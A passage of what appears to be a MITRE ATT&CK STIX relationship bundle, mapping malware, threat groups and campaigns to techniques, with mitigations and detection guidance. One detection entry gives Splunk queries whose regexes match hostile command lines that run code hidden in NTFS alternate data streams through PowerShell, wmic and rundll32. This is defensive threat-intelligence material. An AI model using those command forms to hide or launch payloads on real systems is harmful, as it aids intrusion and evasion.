2017.","source_name":"UCF STIG Elevation Account Enumeration"}],"modified":"2021-04-14T12:26:11.844Z","description":"Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6213e3cf-c18e-47de-b281-07aa3c3179db","type":"relationship","created":"2020-11-09T14:52:45.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-09T14:52:45.719Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) can download additional tools to a compromised host.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62154535-97ec-498a-9c65-73e946985a64","created":"2024-02-14T21:56:34.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:54:57.985Z","description":"Monitor for process execution that may use NTFS file attributes to hide their malicious data in order to evade detection. \n\nAnalytic 1 - NTFS Alternate Data Stream Execution : System Utilities (Powershell)\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image= \"C:\\\\Windows\\\\*\\\\powershell.exe\" | regex CommandLine= \"Invoke-CimMethod\\s+-ClassName\\s+Win32_Process\\s+-MethodName\\s+Create.*\\b(\\w+(\\.\\w+)?):(\\w+(\\.\\w+)?)|-ep bypass\\s+-\\s+<.*\\b(\\w+(\\.\\w+)?):(\\w+(\\.\\w+)?)|-command.*Get-Content.*-Stream.*Set-Content.*start-process .*(\\w+(\\.\\w+)?)\"\n\nAnalytic 2 - NTFS Alternate Data Stream Execution : System Utilities (WMIC)\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image= \"C:\\\\Windows\\\\*\\\\wmic.exe\" | regex CommandLine= \"process call create.*\\\"(\\w+(\\.\\w+)?):(\\w+(\\.\\w+)?)\"\n\nAnalytic 3 - NTFS Alternate Data Stream Execution : System Utilities (rundll32)\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image= \"C:\\\\Windows\\\\*\\\\rundll32.exe\" | regex CommandLine= \"\\\"?(\\w+(\\.\\w+)?):(\\w+(\\.\\w+)?)?\\\"?,\\w+\\|(advpack\\.dll\\|ieadvpack\\.dll),RegisterOCX\\s+(\\w+\\.\\w+):(\\w+(\\.\\w+)?)\\|(shdocvw\\.dll\\|ieframe\\.dll),OpenURL.*(\\w+\\.\\w+):(\\w+(\\.\\w+)?)\"\n\nAnalytic 4 - NTFS Alternate Data Stream Execution : System Utilities (wscript/cscript)\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image= \"C:\\\\Windows\\\\*\\\\wscript.exe\" OR Image= \"C:\\\\Windows\\\\*\\\\cscript.exe)\" | regex CommandLine= \"(?","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6216dadc-095e-4550-bc01-79c79fe614ba","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"},{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"},{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."},{"source_name":"Unit42 Sofacy Dec 2018","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/","description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019."},{"description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","source_name":"ESET Zebrocy May 2019"},{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."},{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}],"modified":"2020-12-09T21:54:33.172Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) collects the OS version, computer name and serial number for the storage volume C:\\. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the systeminfo command to gather system information. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62192379-d052-4618-be33-8511d636c67c","created":"2023-03-17T14:56:40.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T16:40:27.254Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) performed brute force attacks against administrator accounts.(Citation: ESET Lazarus Jun 2020) ","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--622370db-7550-4422-8470-225bd07582f7","created":"2022-09-23T13:43:04.210Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-23T13:45:05.778Z","description":"[ccf32](https://attack.mitre.org/software/S1043) can delete files and folders from compromised machines.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--a394448a-4576-41b8-81cc-9b61abad94ab","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6223d178-5cf3-4c84-84f1-583895468915","type":"relationship","created":"2020-10-20T17:59:21.676Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - AAA","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#38","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - AAA. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - TACACS","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#39","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."}],"modified":"2020-10-22T16:35:54.439Z","description":"Use of Authentication, Authorization, and Accounting (AAA) systems will limit actions administrators can perform and provide a history of user actions to detect unauthorized use and abuse. TACACS+ can keep control over which commands administrators are permitted to use through the configuration of authentication and command authorization. (Citation: Cisco IOS Software Integrity Assurance - AAA) (Citation: Cisco IOS Software Integrity Assurance - TACACS)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62248cd9-d997-468e-8606-6fa0c36330f4","type":"relationship","created":"2020-03-19T15:09:47.213Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-19T15:09:47.213Z","relationship_type":"revoked-by","source_ref":"attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda","target_ref":"attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6231644a-5a32-4458-b950-444f84e1b476","type":"relationship","created":"2020-11-13T21:50:44.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-12-09T19:12:41.390Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can parse Outlook .pst files to extract e-mail addresses.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62359eba-e21f-46f1-9fb2-a3ec9d52acb3","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data. Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018)","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Event Tracing Tampering 2018","description":"Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.","url":"https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62391d2c-56de-42e3-a937-fb9ffa3a4308","type":"relationship","created":"2019-01-30T18:58:04.102Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"}],"modified":"2020-03-17T00:31:12.785Z","description":"[Cannon](https://attack.mitre.org/software/S0351) uses SMTP/S and POP3/S for C2 communications by sending and receiving emails.(Citation: Unit42 Cannon Nov 2018)","relationship_type":"uses","source_ref":"malware--d20b397a-ea47-48a9-b503-2e2a3551e11d","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6239c9a5-5ab9-425d-a767-0d4e6262a598","created":"2022-09-27T16:15:52.487Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:15:52.487Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors archived collected files with WinRAR, prior to exfiltration.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6241455b-2af6-4c65-8bce-d696346d4dfe","created":"2024-05-25T16:38:50.377Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:38:50.377Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) has impersonated government and related entities in both phishing activity and developing web sites with malicious links that mimic legitimate resources.(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6241b1fa-d49e-4c0f-82a7-08424f95abf7","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Recorded Future Beacon Certificates","description":"Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/cobalt-strike-servers"},{"source_name":"Splunk Kovar Certificates 2017","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:19:41.569Z","description":"Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)","relationship_type":"detects","source_ref":"x-mitre-data-component--1dad5aa4-4bb5-45e4-9e42-55d40003cfa6","target_ref":"attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62435a47-3830-4518-9c9f-1f0d25711907","created":"2024-01-09T21:26:43.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-11T20:50:14.090Z","description":"[Samurai](https://attack.mitre.org/software/S1099) has been used to deploy other malware including [Ninja](https://attack.mitre.org/software/S1100).(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62442f37-7a0e-4945-b498-2d02306e53c7","type":"relationship","created":"2019-01-29T19:18:28.762Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET","source_name":"TrendMicro DarkComet Sept 2014"},{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2019-06-04T19:40:43.576Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) can collect the computer name, RAM used, and operating system version from the victim’s machine.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6246955e-05ae-4bd8-8ac7-c02447634486","type":"relationship","created":"2019-04-19T12:37:34.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 DarkHydrus Jan 2019","url":"https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/","description":"Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."}],"modified":"2019-04-24T23:55:43.443Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) uses regsvr32.exe to run a .sct file for execution.(Citation: Unit42 DarkHydrus Jan 2019)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62478274-7562-414a-9b03-f155f5a0d80b","type":"relationship","created":"2021-12-10T14:34:38.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-296A Berserk Bear December 2020","url":"https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions","description":"CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021."}],"modified":"2021-12-10T14:34:38.910Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has registered domains for targeting intended victims.(Citation: CISA AA20-296A Berserk Bear December 2020)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--624b57dc-3cae-45c7-8473-c5116df57697","created":"2024-02-14T21:26:11.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-02T21:37:15.006Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) uses a hard-coded string as a seed, along with the victim machine hardware identifier and input text, to generate a unique string used as an internal mutex value to evade static detection based on mutexes.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--624c4ae2-f367-4be2-a584-0fb5ec94c694","type":"relationship","created":"2020-07-01T18:23:25.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-07-01T18:23:25.252Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62507790-a137-409e-a655-9190ff78cb52","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"}],"modified":"2021-07-20T21:57:36.232Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) searches attached and mounted drives for file extensions and keywords that match a predefined list.(Citation: F-Secure Cosmicduke)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6259ae94-15ac-4343-9eb9-7315160bf58a","type":"relationship","created":"2019-06-28T14:34:59.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2020-03-30T02:59:20.841Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) contains a function to encrypt and store emails that it collects.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--625ebfc0-7aaa-4eaf-8c49-be8b55c059d4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.094Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used network scanning and enumeration tools, including [Ping](https://attack.mitre.org/software/S0097).(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6263dd52-7242-4b16-9483-8a13063bf193","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor files for changes that may create or modify Launch Daemons to execute malicious payloads as part of 